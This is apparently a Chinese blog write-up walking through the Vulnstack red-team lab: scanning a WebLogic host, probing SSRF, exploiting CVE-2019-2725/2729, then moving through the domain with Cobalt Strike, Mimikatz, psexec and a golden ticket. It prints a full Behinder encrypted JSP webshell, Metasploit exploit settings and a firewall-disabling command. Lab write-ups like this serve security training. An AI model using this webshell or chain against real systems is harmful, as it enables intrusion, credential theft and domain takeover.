ATT&CK实战系列——红队实战(二)

2022-09-29 20:58:19 浏览数 (1)


ATT&CK实战系列——红队实战(二)

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

拓扑结构大体如下:

代码语言:javascript复制
靶机下载地址: https://pan.baidu.com/s/13nU-0vsGBnGejGCKzwphfQ&shfl=sharepset
提取码:41y6
开机密码:1qaz@WSX

因为要搭建一个内网环境,因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置。

DC配置 :DC是域控,只能内网访问,只有一块网卡,设置如下:

PC配置:两块网卡,一块NAT模式(模拟外网连接),一块自定义模式(同DC,模拟内网域)

WEB配置:两块网卡,一块NAT模式,一块自定义模式(同DC) (初始的状态默认密码无法登录,切换用户 de1ay/de1ay 登录进去)

DC:delaydelay PC:delaymssql WEB:delaydelay

先从WEB机开始,注意需要手动开启服务,路径如下:

C:OracleMiddlewareuser_projectsdomainsbase_domainbin下有一个startWeblogic的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX

遇到的坑

NAT模式设置如下,不然到时候访问不到地址!!

计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动(Computer Browser 一直自动关闭导致 net view 显示 6118 error 没能解决,在域信息收集时暂时关闭一下防火墙)

至此环境配置完毕

外网渗透

已知web服务器ip地址:192.168.111.80

拿到环境后,首先进行端口探测,这里使用-sS参数,由于防火墙的存在不能使用icmp包,所以使用syn包探测

nmap -sS -sV , -sS 使用SYN半开式扫描,又称隐身扫描 -sV 服务探测

nmap -sS -sV 192.168.111.80

通过扫描端口,我们通过端口初步判断目标机存在的服务及可能存在的漏洞,如445端口开放就意味着存smb服务,存在smb服务就可能存在ms17-010/端口溢出漏洞。开放139端口,就存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞。开放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。开放3389端口,就存在远程桌面。开放7001端口就存在weblogic。

这里先看一下weblogic,直接使用 WeblogicScan 扫描一下可能存在的漏洞,工具地址:

代码语言:javascript复制
https://gitee.com/opticfiber/WeblogicScan/repository/archive/master.zip

python WeblogicScan.py 192.168.111.80 7001

代码语言:javascript复制
https://github.com/rabbitmask/WeblogicScan

用法 python3 WeblogicScan.py -u 192.168.111.80 -p 7001

扫描存在如下漏洞

代码语言:javascript复制
SSRF CVE-2019-2725  CVE-2019-2729

SSRF(server-side request forgery ):服务器端请求伪造。是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞,一般情况下,ssrf攻击的目标是从外网无法访问的内部系统(正是因为他是有服务器端发起的,所以他能够请求到与他相连而与外网隔离的内部系统)

SSRF漏洞存在于

代码语言:javascript复制
http://192.168.111.80:7001/uddiexplorer/SearchPublicRegistries.jsp

点击Search抓包测试

就是这里可以进行端口探测,这里的参数operator我们是可控的,当我们输入不同值时可得到多种不同的报错

当我们访问一个不存在的端口时,比如 http://127.0.0.1:1234

将会返回:could not connect over HTTP to server

当我们访问存在的端口时,比如 http://127.0.0.1:7001

可访问的端口将会得到错误,一般是返回status code,如果访问的非http协议,则会返回:did not have a valid SOAP content-type

代码语言:javascript复制
https://www.cnblogs.com/bmjoker/p/9759761.html
https://blog.csdn.net/LTtiandd/article/details/99592832

既然存在CVE-2019-2729Weblogic反序列化漏洞,那么直接使用 java 反序列化终极测试工具测试漏洞

上传冰蝎马,关于选择 webshell 上传路径问题,参考 https://www.cnblogs.com/sstfy/p/10350915.html

上传路径为:

C:OracleMiddlewareuser_projectsdomainsbase_domainserversAdminServertmp_WL_internaluddiexplorer5f6ebwwarshell.jsp

冰蝎shell

代码语言:javascript复制
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=("" UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u") "").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

冰蝎连接 http://192.168.111.80:7001/uddiexplorer/shell.jsp 密码:pass

然后我们再试试CVE-2019-2725这个RCE漏洞

search weblogic_deserialize_asyncresponseservice

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice

show options 查看一些参数

set rhosts 192.168.111.80 set lhost 192.168.111.128 set target 1

内网渗透

这里不多bb先直接把CS启动起再说,服务端启动

客户端启动

创建一波监听

生成CS后门并上传

上线CS

Run Mimikatz

提权到system

信息收集

代码语言:javascript复制
查看域名 net config workstation
查看有几个域  net view /domain
查看域内主机  net view
查询域内用户   net user /domain #该命令在本环境中需要在system权限下执行
查看域管理员   net group "domain admins" /domain  
查看域控    net group "domain controllers" /domain  

ipconfig /all,发现机器有双网卡,内网 10.10.10.1/24 网段,域控 ip 10.10.10.10 (域控一般是本机的DNS服务器)

关闭防火墙 netsh advfirewall set allprofiles state off

代码语言:javascript复制
Ladon 10.10.10.0/24 OnlinePC  # 多协议探测存活主机(IP、机器名、MAC地址、制造商)
Ladon 10.10.10.0/24 OsScan #多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)

psexec 传递

psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。

代码语言:javascript复制
获取凭据后对目标网段进行端口存活探测,因为是 psexec 传递登录,这里仅需探测445端口
命令:portscan ip网段 端口 扫描协议(arp、icmp、none) 线程
例如:portscan 10.10.10.0/24 445 arp 200

可看到域控机器DC开放了445端口

工具栏 View->Targets 查看端口探测后的存活主机

横向移动

横向渗透概念:

横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。

在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

psexec横向移动

DC成功上线

拿下域控

权限维持

在域控获得KRBTGT账户NTLM密码哈希和SID

黄金票据利用

黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。

黄金票据的条件要求:

1.域名称

2.域的SID值

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。

WEB机 Administrator 权限机器->右键->Access->Golden Ticket

伪造成功

参考

代码语言:javascript复制
https://www.cnblogs.com/wkzb/p/12826618.html
https://baijiahao.baidu.com/s?id=1686897854079644144&wfr=spider&for=pc
https://baijiahao.baidu.com/s?id=1686897854079644144&wfr=spider&for=pc
https://www.ghtwf01.cn/index.php/archives/632/

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

0 人点赞